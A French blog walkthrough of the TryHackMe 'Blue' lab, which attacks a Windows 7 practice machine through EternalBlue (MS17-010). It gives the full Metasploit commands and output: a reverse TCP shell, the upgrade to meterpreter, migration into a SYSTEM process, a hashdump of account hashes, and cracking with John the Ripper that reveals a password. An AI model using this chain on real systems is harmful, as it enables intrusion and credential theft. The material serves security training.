Hack Eternal Blue - Windows

hacking 10 avr. 2021

Ce post est basé sur la room 'Blue' de TryHackMe et présente les grandes étapes de hack d'une machine windows en exploitant la faille Eternal Blue. Cette machine est gratuite ! N'importe qui peut la déployer (même sans être abonné à TryHackMe).

Dans cette room nous allons apprendre à

  • faire de la reconnaissance de base
  • à utiliser metasploit-framework pour exploiter les vulnérabilités
  • Faire une escalation de privilège
  • Cracker les mots de passe windows

Lançons notre machine victime Windows et commençons le travail.

export IP=10.10.204.238

Cette commande me permet de recourir à la variable $IP plutot que de resaisir constamment l'adresse IP de la machine de la victime.

Recon

Effectuons de la reconnaissance de base avec nmap pour

  • voir les ports ouverts,
  • découvrir des informations sur l'OS
  • identifier d'eventuelles vulnérabilités.

nmap -sC -sV --script vuln $IP -O

Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-10 16:27 UTC
Nmap scan report for 10.10.204.238
Host is up (0.021s latency).
Not shown: 991 closed ports
PORT      STATE SERVICE        VERSION
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds   Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ms-wbt-server?
| rdp-vuln-ms12-020: 
|   VULNERABLE:
|   MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2012-0152
|     Risk factor: Medium  CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
|           Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|           
|     Disclosure date: 2012-03-13
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
|       http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|   
|   MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2012-0002
|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|           Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|           
|     Disclosure date: 2012-03-13
|     References:
|       http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_sslv2-drown: 
49152/tcp open  msrpc          Microsoft Windows RPC
49153/tcp open  msrpc          Microsoft Windows RPC
49154/tcp open  msrpc          Microsoft Windows RPC
49158/tcp open  msrpc          Microsoft Windows RPC
49160/tcp open  msrpc          Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=4/10%OT=135%CT=1%CU=38626%PV=Y%DS=2%DC=I%G=Y%TM=6071D2
OS:5F%P=aarch64-unknown-linux-gnu)SEQ(SP=102%GCD=1%ISR=10F%TI=I%CI=I%II=I%S
OS:S=S%TS=7)OPS(O1=M506NW8ST11%O2=M506NW8ST11%O3=M506NW8NNT11%O4=M506NW8ST1
OS:1%O5=M506NW8ST11%O6=M506ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000
OS:%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M506NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%
OS:S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=
OS:Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R
OS:%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=
OS:80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0
OS:%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R
OS:=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 133.59 seconds

On apprend que la machine a au moins 3 vulnérabiliés :

  1. Sur le port 3389 la machine est vulnérable à une attaque DOS (CVE-2012-0152). Le service rdp sur ce port est également vulnérable à l'execution de code malicieux
  2. la machine est également vulnérable sur le protocole smb. La vulnérabilité permet l'execution de code arbitraire. CVE-2017-143.

La machine a donc une vulnérabilité ms17-010 que nous allons tenter d'exploiter.

Access

Pour tenter d'exploiter la vulerabilité, lançons metasploit.

msfdb run (vous pouvez aussi lancer via msfconsole)

Lancement de metasploit

Recherchons dans la base de donnée de metasploit, si nous pouvons exploiter la faille ms17-010.

search ms17-010

le résultat de la recherche est la suivante :

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   2  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   3  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   4  auxiliary/scanner/smb/smb_ms17_010                              normal   No     MS17-010 SMB RCE Detection
   5  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/smb/smb_doublepulsar_rce

Plusieurs choix sont possibles. Nous sommes sur une machine où par avance nous exploitons eternal blue, ne nous compliquons pas la tâche et tentons d'utiliser le premier exploit.

use 0

une fois l'exploit chargé, metasploit charge par default le payload windows/x64/meterpreter/reverse_tcp, cependant dans le cadre de cette room et pour pouvoir présenter des techniques de post exploitation, nous allons changer le payload par défaut en utilisant le reverse_tcp :

taper la commande suivante :

set payload windows/x64/shell/reverse_tcp

Le payload et l'exploit sont presque prêt. Modifions les paramètres de l'attaque :

show options

Nous devons renseigner RHOSTS (l'IP de la machine attaquée) et également LHOST (si vous utilisez le vpn de tryhackme, vous devrez renseigner votre adresse IP de l'interface tun (via la commande ifconfig).

set RHOSTS [IP de la machine attaquée]

set LHOST [IP de votre machine d'attaque]

une fois les informations renseignées lancez l'exploit via la commande run ou exploit

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on [IP eHacker]:4444 
[*] 10.10.204.238:445 - Executing automatic check (disable AutoCheck to override)
[*] 10.10.204.238:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.204.238:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.204.238:445     - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.204.238:445 - The target is vulnerable.
[*] 10.10.204.238:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.204.238:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.204.238:445     - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.204.238:445 - Connecting to target for exploitation.
[+] 10.10.204.238:445 - Connection established for exploitation.
[+] 10.10.204.238:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.204.238:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.204.238:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.204.238:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.204.238:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.204.238:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.204.238:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.204.238:445 - Sending all but last fragment of exploit packet
[*] 10.10.204.238:445 - Starting non-paged pool grooming
[+] 10.10.204.238:445 - Sending SMBv2 buffers
[+] 10.10.204.238:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.204.238:445 - Sending final SMBv2 buffers.
[*] 10.10.204.238:445 - Sending last fragment of exploit packet!
[*] 10.10.204.238:445 - Receiving response from exploit packet
[+] 10.10.204.238:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.204.238:445 - Sending egg to corrupted connection.
[*] 10.10.204.238:445 - Triggering free of corrupted buffer.
[*] Sending stage (336 bytes) to 10.10.204.238
[*] Command shell session 2 opened ([IP eHacker]:4444 -> 10.10.204.238:49283) at 2021-04-10 17:17:52 +0000
[+] 10.10.204.238:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.204.238:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.204.238:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
execution parfaite de l'exploit

Nous obtenons un shell windows! tapez la commande dir, vous obtenez la liste des fichiers sur le filesystem de la machine distante.

Revenons en arrière en tapant background .

Escalate

Nous allons cette fois-ci utiliser un shell meterpreter à la place d'un shell simple pour pouvoir escalader les privilèges.

Comme nous venons de bénéficier d'un exploit avec un premier shell, nous allons cette fois ci utiliser un module de post-exploitation nous permettant de changer notre shell avec celui de meterpreter.

Le chemin d'accès complet au module est celui-ci :

post/multi/manager/shell_to_meterpreter

utilisons le : use post/multi/manage/shell_to_meterpreter

regardons les options de ce module :

show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on.
Options disponible pour le module shell_to_meterpreter

Nous devons renseigner le numéro de session sur laquelle appliquer ce post-exploit.

regardons nos sessions avec sessions -l :

msf6 post(multi/manage/shell_to_meterpreter) > sessions -l

Active sessions
===============

  Id  Name  Type               Information  Connection
  --  ----  ----               -----------  ----------
  1         shell x64/windows               [IP eHACKER]:4444 -> 10.10.204.238:49351 (10.10.204.238)
sessions en cours

Nous avons qu'une seule session ouverte : l'id 1.

Paramétrons l'option :

set SESSION 1

et un autre port :

set LPORT 4444

puis lançons de nouveau l'exploit :

exploit

msf6 post(multi/manage/shell_to_meterpreter) > 
[*] Sending stage (175174 bytes) to 10.10.204.238
[*] Meterpreter session 2 opened ([IP eHacker]:4444 -> 10.10.204.238:49371) at 2021-04-10 17:31:42 +0000
[*] Stopping exploit/multi/handler

Lorsque c'est terminé relistons nos sessions et connectons nous à la nouvelle :

sessions -l

msf6 post(multi/manage/shell_to_meterpreter) > sessions -l

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         shell x64/windows                                      [IP eHacker]:4444 -> 10.10.204.238:49351 (10.10.204.238)
  2         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ JON-PC  [IP eHacker]:4444 -> 10.10.204.238:49371 (10.10.204.238)

Intéragissons avec la nouvelle sessions où nous avons escalader avec le compte NT AUTHORITY\SYSTEM.

session -i 2

vérifions que nous sommes bien le compte system :

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
devenons "System"

Vérifions les processus en cours d'execution sur la machine de la victime avec la commande ps :

meterpreter > ps 

Process List
============

 PID   PPID  Name                  Arch  Session  User                          Path
 ---   ----  ----                  ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System                x64   0
 400   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\smss.exe
 432   664   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 524   516   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 572   516   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\wininit.exe
 580   564   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 608   564   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
 664   572   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\services.exe
 688   572   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.exe
 692   664   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 696   572   lsm.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsm.exe
 724   2976  cmd.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\cmd.exe
 792   664   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 868   664   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 940   608   LogonUI.exe           x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\LogonUI.exe
 976   664   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1016  664   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1116  664   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 1228  524   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\conhost.exe
 1236  1520  powershell.exe        x86   0        NT AUTHORITY\SYSTEM           C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
 1292  664   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 1320  664   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1376  664   amazon-ssm-agent.exe  x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
 1456  664   LiteAgent.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\Xentools\LiteAgent.exe
 1520  2196  powershell.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 1584  664   Ec2Config.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe
 1760  524   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\conhost.exe
 1832  664   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 2536  664   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 2564  664   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\sppsvc.exe
 2600  664   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 2672  664   SearchIndexer.exe     x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\SearchIndexer.exe
 2692  724   powershell.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 2976  1292  cmd.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\cmd.exe
 3040  1292  cmd.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\cmd.exe
 3048  524   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\conhost.exe

Le fait que nous soyons le compte system, cela ne signifie pas que notre processus l'est !

Nous allons donc migrer notre processus de shell vers un processus qui est executé par le compte NT AUTHORITY\SYSTEM.

Identifiez dans la liste le PID (l'identifiant) d'un processus stable (qui ne risque pas d'être fermé par la victime puis migrer vers celui-ci avec la commande migrate PROCESS_ID

Je choisis de migrer sur svchost.exe (PID 432) :

migrate 432

migrons du process 1236 vers 432

Après cette opération nous sommes un utilisateur ayant des privilèges !

Crack

Nous sommes désormais sur la machine de notre victime avec des privilèges élevés. Nous souhaitons récuperer les mots de passes de cette machine.

Pour cela, utiliser la commande hashdump qui va alors recopier tous les mots de passe de la machine tant que nous avons suffisamment de privilèges.

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

On y retrouve 3 comptes :

  • Administrator
  • Guest
  • Jon

Intéressons nous au compte de Jon.

Dans un autre terminal, recopiez ces hash dans un fichier (hash.txt par exemple).

echo "Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::" > hash.txt

Notre fichier hash étant prêt, il ne reste plus qu'à cracker le mot de passe avec notre logiciel préféré pour cette tâche John The Ripper

John a besoin de 3 paramètres :

  1. Le format de cryptage, (les mots de passes windows 7 utilisent le format NT)
  2. Un dictionnaire de mot (nous utiliserons rockyou.txt)
  3. Le fichier de mot de passe à casser (hash.txt)

Il ne nous reste plus qu'à lancer la commande :

john --format=NT --wordlist=/home/shared/pentest/wordlists/rockyou.txt hash.txt

➜  blue john --format=NT --wordlist=/home/shared/pentest/wordlists/rockyou.txt hash.txt --pot=blue.pot
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 ASIMD 4x2])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
alqfna22         (Jon)
1g 0:00:00:00 DONE (2021-04-10 19:14) 1.190g/s 12143Kp/s 12143Kc/s 12143KC/s alrais..alpis
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed

➜  blue john hash.txt  --pot=blue.pot --format=NT --show
Jon:alqfna22:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

qui nous donne le résultat alqfna22

NOTE

Les mots de passes se trouvent généralement à cet endroit sur Windows :

%WinDir%\system32\config\sam


Ce post est désormais terminé, j'espère qu'il sera suffisamment compréhensible pour mener à bien ce hack simple d'une machine vulnérable à Eternal Blue !
Encore une fois, si vous avez des questions, des remarques ou même envie de m'adresser des compliments, allez y commentez ! tous les messages sont lus !
Aussi, un partage sur les réseaux sociaux comme LinkedIn, Facebook, twitter etc. sont plus que bienvenu.

A bientôt !

Mots clés